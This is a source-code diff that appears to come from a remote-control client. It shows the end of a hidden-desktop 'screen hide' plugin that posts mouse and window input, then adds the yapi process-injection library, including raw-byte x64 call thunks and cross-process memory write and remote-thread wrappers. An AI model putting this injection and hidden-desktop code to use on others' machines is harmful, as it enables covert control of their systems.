+							width -= moveX;
+							break;
+						}
+						default:
+							continue;
+						}
+						MoveWindow(hWnd, x, y, width, height, FALSE);
+						m_hResMoveWindow = hWnd;
+						continue;
+					}
+					break;
+				}
+				}
+				for (HWND currHwnd = hWnd;;) {
+					hWnd = currHwnd;
+					ScreenToClient(currHwnd, &m_point);
+					currHwnd = ChildWindowFromPoint(currHwnd, m_point);
+					if (!currHwnd || currHwnd == hWnd)
+						break;
+				}
+				if (mouseMsg)
+					msg->lParam = MAKELPARAM(m_point.x, m_point.y);
+				PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
+			}
+		}
+	}
+
+public: // 纯虚函数
+	virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
+	virtual void InitScreenSpy() = 0;
+
+	HDESK               g_hDesk;
+	std::string         m_DesktopID;
+	void*				m_ptrUser;
+	ScreenCapture*		m_ScreenSpyObject;
+	BOOL                m_bIsWorking;
+	long                m_oldwidth, m_oldheigh;
+	int	                m_biBitCount;
+	int	                m_fps;
+	int					m_DlgToken; // 这个值决定打开哪个对话框
+	HANDLE	            m_hWorkThread, m_hBlankThread;
+
+	// 虚拟桌面
+	POINT               m_point;
+	POINT               m_lastPoint;
+	BOOL                m_lmouseDown;
+	HWND                m_hResMoveWindow;
+	LRESULT             m_resMoveType;
+	BOOL				m_rmouseDown;      // 标记右键是否按下
+	POINT				m_rclickPoint;     // 右键点击坐标
+	HWND				m_rclickWnd;	   // 右键窗口
+};
+
+} // namespace SimplePluginsScreenHide

client/yapi.hpp

@@ -0,0 +1,915 @@
+/*
+  yapi -- Yet Another Process Injector / Your API
+  A fusion library that reduce differences between x64, wow64 and x86 processes based on rewolf-wow64ext.
+
+  Copyright (c) 2010-2018 <http://ez8.co> <orca.zhang@yahoo.com>
+  This library is released under the MIT License.
+
+  Please see LICENSE file or visit https://github.com/ez8-co/yapi for details.
+*/
+#pragma once
+
+#define WIN32_NO_STATUS
+#include <windows.h>
+#include <winternl.h>
+
+#include <tchar.h>
+#include <vector>
+#include <string>
+
+#ifndef NT_SUCCESS
+#define NT_SUCCESS(Status)			(((NTSTATUS)(Status)) >= 0)
+#endif
+
+#include <TlHelp32.h>
+
+namespace detail {
+	static HMODULE hNtDll = LoadLibrary(_T("ntdll.dll"));
+	static HANDLE hCurProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
+
+	inline BOOL Is64BitOS()
+	{
+		SYSTEM_INFO systemInfo = { 0 };
+		GetNativeSystemInfo(&systemInfo);
+		return systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64
+			|| systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64;
+	}
+	static const BOOL is64BitOS = Is64BitOS();
+
+	struct GCBase
+	{
+		virtual DWORD64 toDWORD64() = 0;
+		virtual void gc() = 0;
+	};
+	struct GCHelper
+	{
+		~GCHelper() {
+			for (size_t i = 0; i < _ptrs.size(); i++) {
+				_ptrs[i]->gc();
+				delete _ptrs[i];
+			}
+		}
+		DWORD64 add(GCBase* ptr) { _ptrs.push_back(ptr); return ptr->toDWORD64(); }
+	private:
+		std::vector<GCBase*> _ptrs;
+	};
+}
+
+namespace yapi {
+
+	typedef std::basic_string<TCHAR, std::char_traits<TCHAR>, std::allocator<TCHAR> > tstring;
+
+	#ifndef UNICODE
+		static std::string _W2T(const wchar_t* wcs)
+		{
+			int len = ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, NULL, 0, 0, 0);
+			std::string ret(len, 0);
+			assert(0 != ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, &ret[0], len, 0, 0));
+			ret.resize(len - 1);
+			return ret;
+		}
+	#else
+		#define _W2T(str) std::wstring(str)
+	#endif
+
+	#define REPEAT_0(macro) 
+	#define REPEAT_1(macro) REPEAT_0(macro)
+	#define REPEAT_2(macro) REPEAT_1(macro) macro(1)
+	#define REPEAT_3(macro) REPEAT_2(macro) macro(2)
+	#define REPEAT_4(macro) REPEAT_3(macro) macro(3)
+	#define REPEAT_5(macro) REPEAT_4(macro) macro(4)
+	#define REPEAT_6(macro) REPEAT_5(macro) macro(5)
+	#define REPEAT_7(macro) REPEAT_6(macro) macro(6)
+	#define REPEAT_8(macro) REPEAT_7(macro) macro(7)
+	#define REPEAT_9(macro) REPEAT_8(macro) macro(8)
+	#define REPEAT_10(macro) REPEAT_9(macro) macro(9)
+	#define REPEAT_11(macro) REPEAT_10(macro) macro(10)
+	#define REPEAT_12(macro) REPEAT_11(macro) macro(11)
+	#define REPEAT_13(macro) REPEAT_12(macro) macro(12)
+	#define REPEAT_14(macro) REPEAT_13(macro) macro(13)
+	#define REPEAT_15(macro) REPEAT_14(macro) macro(14)
+	#define REPEAT_16(macro) REPEAT_15(macro) macro(15)
+	#define REPEAT_17(macro) REPEAT_16(macro) macro(16)
+	#define REPEAT_18(macro) REPEAT_17(macro) macro(17)
+	#define REPEAT_19(macro) REPEAT_18(macro) macro(18)
+	#define REPEAT_20(macro) REPEAT_19(macro) macro(19)
+
+	#define END_MACRO_0(macro) 
+	#define END_MACRO_1(macro) macro(1)
+	#define END_MACRO_2(macro) macro(2)
+	#define END_MACRO_3(macro) macro(3)
+	#define END_MACRO_4(macro) macro(4)
+	#define END_MACRO_5(macro) macro(5)
+	#define END_MACRO_6(macro) macro(6)
+	#define END_MACRO_7(macro) macro(7)
+	#define END_MACRO_8(macro) macro(8)
+	#define END_MACRO_9(macro) macro(9)
+	#define END_MACRO_10(macro) macro(10)
+	#define END_MACRO_11(macro) macro(11)
+	#define END_MACRO_12(macro) macro(12)
+	#define END_MACRO_13(macro) macro(13)
+	#define END_MACRO_14(macro) macro(14)
+	#define END_MACRO_15(macro) macro(15)
+	#define END_MACRO_16(macro) macro(16)
+	#define END_MACRO_17(macro) macro(17)
+	#define END_MACRO_18(macro) macro(18)
+	#define END_MACRO_19(macro) macro(19)
+	#define END_MACRO_20(macro) macro(20)
+
+	#define REPEAT(n, macro, end_macro) REPEAT_##n (macro) END_MACRO_##n(end_macro)
+
+	#define __ARG(n) P ## n
+	#define __PARAM(n) p ## n
+	#define __ARG_DECL(n) __ARG(n) __PARAM(n)
+
+	#define TEMPLATE_ARG(n) typename __ARG(n)
+	#define VOID_TEMPLATE_ARGS(n) typename __ARG(n),
+
+	#define ARG_DECL(n) __ARG_DECL(n) ,
+	#define END_ARG_DECL(n) __ARG_DECL(n)
+
+	#define DECL_VOID_TEMPLATE_ARGS(n) REPEAT(n, VOID_TEMPLATE_ARGS, TEMPLATE_ARG)
+	#define DECL_PARAMS_LIST(n) REPEAT(n, ARG_DECL, END_ARG_DECL)
+
+	namespace {
+		template <class T>
+		struct _UNICODE_STRING_T {
+			union {
+				struct {
+					WORD Length;
+					WORD MaximumLength;
+				};
+				T dummy;
+			};
+			T Buffer;
+		};
+
+		template <typename T>
+		struct _LIST_ENTRY_T {
+			T Flink;
+			T Blink;
+		};
+
+		template <typename T>
+		struct _PEB_T {
+			T dummy01;
+			T Mutant;
+			T ImageBaseAddress;
+			T Ldr;
+			// omit unused fields
+		};
+
+		typedef _PEB_T<DWORD>   PEB32;
+		typedef _PEB_T<DWORD64> PEB64;
+
+		typedef struct _PROCESS_BASIC_INFORMATION32 {
+			NTSTATUS ExitStatus;
+			UINT32 PebBaseAddress;
+			UINT32 AffinityMask;
+			UINT32 BasePriority;
+			UINT32 UniqueProcessId;
+			UINT32 InheritedFromUniqueProcessId;
+		} PROCESS_BASIC_INFORMATION32;
+
+		typedef struct _PROCESS_BASIC_INFORMATION64 {
+			NTSTATUS ExitStatus;
+			UINT32 Reserved0;
+			UINT64 PebBaseAddress;
+			UINT64 AffinityMask;
+			UINT32 BasePriority;
+			UINT32 Reserved1;
+			UINT64 UniqueProcessId;
+			UINT64 InheritedFromUniqueProcessId;
+		} PROCESS_BASIC_INFORMATION64;
+
+		template <class T>
+		struct _PEB_LDR_DATA_T {
+			DWORD Length;
+			DWORD Initialized;
+			T SsHandle;
+			_LIST_ENTRY_T<T> InLoadOrderModuleList;
+			// omit unused fields
+		};
+
+		typedef _PEB_LDR_DATA_T<DWORD>   PEB_LDR_DATA32;
+		typedef _PEB_LDR_DATA_T<DWORD64> PEB_LDR_DATA64;
+
+		template <class T>
+		struct _LDR_DATA_TABLE_ENTRY_T {
+			_LIST_ENTRY_T<T> InLoadOrderLinks;
+			_LIST_ENTRY_T<T> InMemoryOrderLinks;
+			_LIST_ENTRY_T<T> InInitializationOrderLinks;
+			T DllBase;
+			T EntryPoint;
+			union {
+				DWORD SizeOfImage;
+				T dummy01;
+			};
+			_UNICODE_STRING_T<T> FullDllName;
+			_UNICODE_STRING_T<T> BaseDllName;
+			// omit unused fields
+		};
+
+		typedef _LDR_DATA_TABLE_ENTRY_T<DWORD>   LDR_DATA_TABLE_ENTRY32;
+		typedef _LDR_DATA_TABLE_ENTRY_T<DWORD64> LDR_DATA_TABLE_ENTRY64;
+
+		size_t tcslen(const char* str) { return strlen(str); }
+		size_t tcslen(const wchar_t* str) { return wcslen(str); }
+	}
+
+	inline DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName);
+
+	#ifdef _WIN64
+		typedef NTSTATUS(WINAPI *NT_QUERY_INFORMATION_PROCESS)(
+			HANDLE ProcessHandle, ULONG ProcessInformationClass,
+			PVOID ProcessInformation, UINT32 ProcessInformationLength,
+			UINT32 * ReturnLength);
+
+		static NT_QUERY_INFORMATION_PROCESS NtWow64QueryInformationProcess64 = (NT_QUERY_INFORMATION_PROCESS)GetProcAddress((HMODULE)detail::hNtDll, "NtQueryInformationProcess");
+		#define NtWow64ReadVirtualMemory64         ReadProcessMemory
+
+	#else
+
+		namespace {
+			typedef NTSTATUS(WINAPI *NT_WOW64_QUERY_INFORMATION_PROCESS64)(
+				HANDLE ProcessHandle, UINT32 ProcessInformationClass,
+				PVOID ProcessInformation, UINT32 ProcessInformationLength,
+				UINT32* ReturnLength);
+
+			typedef NTSTATUS(WINAPI *NT_WOW64_READ_VIRTUAL_MEMORY64)(
+				HANDLE ProcessHandle, PVOID64 BaseAddress,
+				PVOID BufferData, UINT64 BufferLength,
+				PUINT64 ReturnLength);
+
+			static NT_WOW64_QUERY_INFORMATION_PROCESS64 NtWow64QueryInformationProcess64 = (NT_WOW64_QUERY_INFORMATION_PROCESS64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64QueryInformationProcess64");
+			static NT_WOW64_READ_VIRTUAL_MEMORY64 NtWow64ReadVirtualMemory64 = (NT_WOW64_READ_VIRTUAL_MEMORY64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64ReadVirtualMemory64");
+		}
+
+	#endif
+
+	inline DWORD64 WINAPI GetModuleHandle(HANDLE hProcess, const TCHAR* moduleName)
+	{
+		if (!moduleName) return 0;
+		if (!hProcess) hProcess = detail::hCurProcess;
+
+		HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, GetProcessId(hProcess));
+		if (hSnap == INVALID_HANDLE_VALUE) return 0;
+		MODULEENTRY32 mod = { sizeof(mod) };
+		if (Module32First(hSnap, &mod)) {
+			do {
+				if (!_tcsicmp(mod.szModule, moduleName)) {
+					CloseHandle(hSnap);
+					return (DWORD64)mod.hModule;
+				}
+			} while (Module32Next(hSnap, &mod));
+		}
+		CloseHandle(hSnap);
+		return 0;
+	}
+
+	DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName)
+	{
+		if (!hModule || !funcName) return 0;
+		if (!hProcess) hProcess = detail::hCurProcess;
+
+		IMAGE_DOS_HEADER idh;
+		NTSTATUS status = ReadProcessMemory(hProcess, (PVOID)hModule, (PVOID)&idh, sizeof(idh), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		IMAGE_NT_HEADERS32 inh;
+		status = ReadProcessMemory(hProcess, (PVOID)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+		if (!idd.VirtualAddress)return 0;
+
+		IMAGE_EXPORT_DIRECTORY ied;
+		status = ReadProcessMemory(hProcess, (PVOID)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		std::vector<DWORD> nameTable(ied.NumberOfNames);
+		status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
+			std::string func(strlen(funcName), 0);
+			status = ReadProcessMemory(hProcess, (PVOID)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
+			if (!NT_SUCCESS(status)) continue;
+
+			if (func == funcName) {
+				WORD ord = 0;
+				status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
+				if (!NT_SUCCESS(status)) continue;
+
+				DWORD rva = 0;
+				status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
+				if (!NT_SUCCESS(status)) continue;
+
+				return hModule + rva;
+			}
+		}
+		return 0;
+	}
+
+	inline DWORD64 WINAPI GetModuleHandle64(HANDLE hProcess, const TCHAR* moduleName)
+	{
+		if (!moduleName) return 0;
+		if (!hProcess) hProcess = detail::hCurProcess;
+
+	#ifndef _WIN64
+		if (!NtWow64QueryInformationProcess64 || !NtWow64ReadVirtualMemory64) return 0;
+	#endif
+
+		PROCESS_BASIC_INFORMATION64 pbi = { 0 };
+		const int ProcessBasicInformation = 0;
+		NTSTATUS status = NtWow64QueryInformationProcess64(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		PEB64 peb;
+		status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		PEB_LDR_DATA64 ldr;
+		status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)peb.Ldr, (PVOID)&ldr, sizeof(ldr), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		DWORD64 LastEntry = peb.Ldr + offsetof(PEB_LDR_DATA64, InLoadOrderModuleList);
+
+		LDR_DATA_TABLE_ENTRY64 head;
+		head.InLoadOrderLinks.Flink = ldr.InLoadOrderModuleList.Flink;
+		do {
+			status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.InLoadOrderLinks.Flink, (PVOID)&head, sizeof(head), NULL);
+			if (!NT_SUCCESS(status)) continue;
+
+			std::wstring modName((size_t)head.BaseDllName.MaximumLength, 0);
+			status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.BaseDllName.Buffer, (PVOID)&modName[0], head.BaseDllName.MaximumLength, NULL);
+			if (!NT_SUCCESS(status)) continue;
+
+			if (!_tcsicmp(moduleName, _W2T(modName.c_str()).c_str()))
+				return head.DllBase;
+		} while (head.InLoadOrderLinks.Flink != LastEntry);
+		return 0;
+	}
+
+	inline  DWORD64 WINAPI GetProcAddress64(HANDLE hProcess, DWORD64 hModule, const char* funcName)
+	{
+		if (!hModule || !funcName) return 0;
+		if (!hProcess) hProcess = detail::hCurProcess;
+
+#ifndef _WIN64
+		if (!NtWow64ReadVirtualMemory64) return 0;
+#endif
+
+		IMAGE_DOS_HEADER idh;
+		NTSTATUS status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)hModule, (PVOID)&idh, sizeof(idh), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		IMAGE_NT_HEADERS64 inh;
+		status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+		if (!idd.VirtualAddress)return 0;
+
+		IMAGE_EXPORT_DIRECTORY ied;
+		status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		std::vector<DWORD> nameTable(ied.NumberOfNames);
+		status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL);
+		if (!NT_SUCCESS(status)) return 0;
+
+		for (DWORD i = 0; i < ied.NumberOfNames; ++i) {
+			std::string func(strlen(funcName), 0);
+			status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL);
+			if (!NT_SUCCESS(status)) continue;
+
+			if (func == funcName) {
+				WORD ord = 0;
+				status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL);
+				if (!NT_SUCCESS(status)) continue;
+
+				DWORD rva = 0;
+				status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL);
+				if (!NT_SUCCESS(status)) continue;
+
+				return hModule + rva;
+			}
+		}
+		return 0;
+	}
+
+	inline DWORD64 GetNtDll64()
+    {
+		static DWORD64 hNtdll64 = 0;
+		if(hNtdll64) return hNtdll64;
+		hNtdll64 = GetModuleHandle64(detail::hCurProcess, _T("ntdll.dll"));
+		return hNtdll64;
+	}
+
+	#ifdef _WIN64
+
+		#define SetLastError64       SetLastError
+		#define VirtualQueryEx64     VirtualQueryEx
+		#define VirtualAllocEx64     VirtualAllocEx
+		#define VirtualFreeEx64      VirtualFreeEx
+		#define VirtualProtectEx64   VirtualProtectEx
+		#define ReadProcessMemory64  ReadProcessMemory
+		#define WriteProcessMemory64 WriteProcessMemory
+		#define LoadLibrary64        LoadLibrary
+		#define CreateRemoteThread64 CreateRemoteThread
+
+	#else
+
+		namespace {
+			#define _(x) __asm __emit (x)
+			__declspec(naked) DWORD64 x64Call(DWORD64 func, int argC, ...)
+			{
+				// see X64Call_disassemble for details
+				_(0x55)_(0x8b)_(0xec)_(0x8b)_(0x4d)_(0x10)_(0x8d)_(0x55)_(0x14)_(0x83)_(0xec)_(0x40)_(0x53)_(0x56)_(0x57)_(0x85)
+				_(0xc9)_(0x7e)_(0x15)_(0x8b)_(0x45)_(0x14)_(0x8d)_(0x55)_(0x1c)_(0x49)_(0x89)_(0x45)_(0xf0)_(0x8b)_(0x45)_(0x18)
+				_(0x89)_(0x4d)_(0x10)_(0x89)_(0x45)_(0xf4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xf0)
+				_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)_(0x45)
+				_(0xe8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xec)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)
+				_(0xe8)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)
+				_(0x45)_(0xe0)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xe4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)
+				_(0x45)_(0xe0)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)
+				_(0x89)_(0x45)_(0xd8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xdc)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)
+				_(0x13)_(0x45)_(0xd8)_(0x8b)_(0xc2)_(0xc7)_(0x45)_(0xfc)_(0x00)_(0x00)_(0x00)_(0x00)_(0x99)_(0x0f)_(0x57)_(0xc0)
+				_(0x89)_(0x45)_(0xc0)_(0x8b)_(0xc1)_(0x89)_(0x55)_(0xc4)_(0x99)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xc8)_(0x89)_(0x45)
+				_(0xd0)_(0x89)_(0x55)_(0xd4)_(0xc7)_(0x45)_(0xf8)_(0x00)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8c)_(0x65)_(0xf8)_(0xb8)
+				_(0x2b)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8e)_(0xe0)_(0x89)_(0x65)_(0xfc)_(0x83)_(0xe4)_(0xf0)_(0x6a)_(0x33)_(0xe8)
+				_(0x00)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x05)_(0xcb)_(0x48)_(0x8b)_(0x4d)_(0xf0)_(0x48)_(0x8b)_(0x55)
+				_(0xe8)_(0xff)_(0x75)_(0xe0)_(0x49)_(0x58)_(0xff)_(0x75)_(0xd8)_(0x49)_(0x59)_(0x48)_(0x8b)_(0x45)_(0xd0)_(0xa8)
+				_(0x01)_(0x75)_(0x03)_(0x83)_(0xec)_(0x08)_(0x57)_(0x48)_(0x8b)_(0x7d)_(0xc0)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x16)
+				_(0x48)_(0x8d)_(0x7c)_(0xc7)_(0xf8)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x0c)_(0xff)_(0x37)_(0x48)_(0x83)_(0xef)_(0x08)
+				_(0x48)_(0x83)_(0xe8)_(0x01)_(0xeb)_(0xef)_(0x48)_(0x83)_(0xec)_(0x20)_(0xff)_(0x55)_(0x08)_(0x48)_(0x8b)_(0x4d)
+				_(0xd0)_(0x48)_(0x8d)_(0x64)_(0xcc)_(0x20)_(0x5f)_(0x48)_(0x89)_(0x45)_(0xc8)_(0xe8)_(0x00)_(0x00)_(0x00)_(0x00)
+				_(0xc7)_(0x44)_(0x24)_(0x04)_(0x23)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x0d)_(0xcb)_(0x66)_(0x8c)_(0xd8)
+				_(0x66)_(0x8e)_(0xd0)_(0x8b)_(0x65)_(0xfc)_(0x66)_(0x8b)_(0x45)_(0xf8)_(0x66)_(0x8e)_(0xe0)_(0x8b)_(0x45)_(0xc8)
+				_(0x8b)_(0x55)_(0xcc)_(0x5f)_(0x5e)_(0x5b)_(0x8b)_(0xe5)_(0x5d)_(0xc3)
+			}
+			#undef _
+		}
+
+		class X64Call
+		{
+	        template<typename char_t>
+	        struct StringHelper : detail::GCBase
+	        {
+	            StringHelper(const char_t* v) : name(0) {
+	                name = new _UNICODE_STRING_T<DWORD64>;
+	                name->Buffer = (DWORD64)v;
+	                name->Length = (WORD)tcslen(v) * sizeof(char_t);
+	                name->MaximumLength = name->Length;
+	            }
+	            virtual void gc() { delete name; }
+	            virtual DWORD64 toDWORD64() { return (DWORD64)name; }
+			private:
+	            _UNICODE_STRING_T<DWORD64>* name;
+	        };
+			template<typename T>
+			DWORD64 ToDWORD64(T v, detail::GCHelper*) {
+				return DWORD64(v);
+			}
+			template<> DWORD64 ToDWORD64<const char*>(const char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
+			template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
+			template<> DWORD64 ToDWORD64<char*>(char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
+			template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
+
+		private:
+			DWORD64 func;
+
+		public:
+			X64Call(const char* funcName)                 : func(GetProcAddress64(0, GetNtDll64(), funcName)) {}
+			X64Call(DWORD64 module, const char* funcName) : func(GetProcAddress64(0, module, funcName))       {}
+
+			operator DWORD64() { return func; }
+
+			DWORD64 operator()() { return func && x64Call(func, 0); }
+
+		#define __TO_DWORD64_DECL(n) ToDWORD64(__PARAM(n), &helper)
+		#define TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n) ,
+		#define END_TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n)
+		#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> DWORD64 operator()(DECL_PARAMS_LIST(n)) { detail::GCHelper helper; return func && x64Call(func, n, REPEAT(n, TO_DWORD64_DECL, END_TO_DWORD64_DECL)); }
+			CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
+			CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)
+		#undef CALLERS
+		#undef END_TO_DWORD64_DECL
+		#undef TO_DWORD64_DECL
+		#undef __TO_DWORD64_DECL
+		};
+
+		inline VOID WINAPI SetLastError64(DWORD64 status)
+		{
+			typedef ULONG (WINAPI *RTL_NTSTATUS_TO_DOS_ERROR)(NTSTATUS Status);
+			typedef ULONG (WINAPI *RTL_SET_LAST_WIN32_ERROR)(NTSTATUS Status);
+
+			static RTL_NTSTATUS_TO_DOS_ERROR RtlNtStatusToDosError = (RTL_NTSTATUS_TO_DOS_ERROR)GetProcAddress(detail::hNtDll, "RtlNtStatusToDosError");
+			static RTL_SET_LAST_WIN32_ERROR RtlSetLastWin32Error = (RTL_SET_LAST_WIN32_ERROR)GetProcAddress(detail::hNtDll, "RtlSetLastWin32Error");
+	    
+			if (RtlNtStatusToDosError && RtlSetLastWin32Error)
+				RtlSetLastWin32Error(RtlNtStatusToDosError((DWORD)status));
+		}
+
+		inline SIZE_T WINAPI VirtualQueryEx64(HANDLE hProcess, DWORD64 lpAddress, MEMORY_BASIC_INFORMATION64* lpBuffer, SIZE_T dwLength)
+		{
+			static X64Call NtQueryVirtualMemory("NtQueryVirtualMemory");
+			if (!NtQueryVirtualMemory) return 0;
+
+			DWORD64 ret = 0;
+			DWORD64 status = NtQueryVirtualMemory(hProcess, lpAddress, 0, lpBuffer, dwLength, &ret);
+			if (!status) return (SIZE_T)ret;
+
+			SetLastError64(ret);
+			return FALSE;
+		}
+
+		inline DWORD64 WINAPI VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
+		{
+			static X64Call NtAllocateVirtualMemory("NtAllocateVirtualMemory");
+			if (!NtAllocateVirtualMemory) return 0;
+
+			DWORD64 tmpAddr = lpAddress;
+			DWORD64 tmpSize = dwSize;
+			DWORD64 ret = NtAllocateVirtualMemory(hProcess, &tmpAddr, 0, &tmpSize, flAllocationType, flProtect);
+			if (!ret) return tmpAddr;
+
+			SetLastError64(ret);
+			return FALSE;
+		}
+
+		inline BOOL WINAPI VirtualFreeEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD dwFreeType)
+		{
+			static X64Call NtFreeVirtualMemory("NtFreeVirtualMemory");
+			if (!NtFreeVirtualMemory) return 0;
+
+			DWORD64 tmpAddr = lpAddress;
+			DWORD64 tmpSize = dwSize;
+			DWORD64 ret = NtFreeVirtualMemory(hProcess, &tmpAddr, &tmpSize, dwFreeType);
+			if (!ret) return TRUE;
+
+			SetLastError64(ret);
+			return FALSE;
+		}
+
+		inline BOOL WINAPI VirtualProtectEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* lpflOldProtect)
+		{
+			static X64Call NtProtectVirtualMemory("NtProtectVirtualMemory");
+			if (!NtProtectVirtualMemory) return 0;
+
+			DWORD64 tmpAddr = lpAddress;
+			DWORD64 tmpSize = dwSize;
+			DWORD64 ret = NtProtectVirtualMemory(hProcess, &tmpAddr, &tmpSize, flNewProtect, lpflOldProtect);
+			if (!ret) return TRUE;
+
+			SetLastError64(ret);
+			return FALSE;
+		}
+
+		inline BOOL WINAPI ReadProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead)
+		{
+			static X64Call NtReadVirtualMemory("NtReadVirtualMemory");
+			if (!NtReadVirtualMemory) return 0;
+
+			DWORD64 read = 0;
+			DWORD64 ret = NtReadVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &read);
+			if (!ret) {
+				if (lpNumberOfBytesRead) *lpNumberOfBytesRead = (SIZE_T)read;
+				return TRUE;
+			}
+
+			SetLastError64(ret);
+			return FALSE;
+		}
+
+		inline BOOL WINAPI WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten)
+		{
+			static X64Call NtWriteVirtualMemory("NtWriteVirtualMemory");
+			if (!NtWriteVirtualMemory) return 0;
+
+			DWORD64 written = 0;
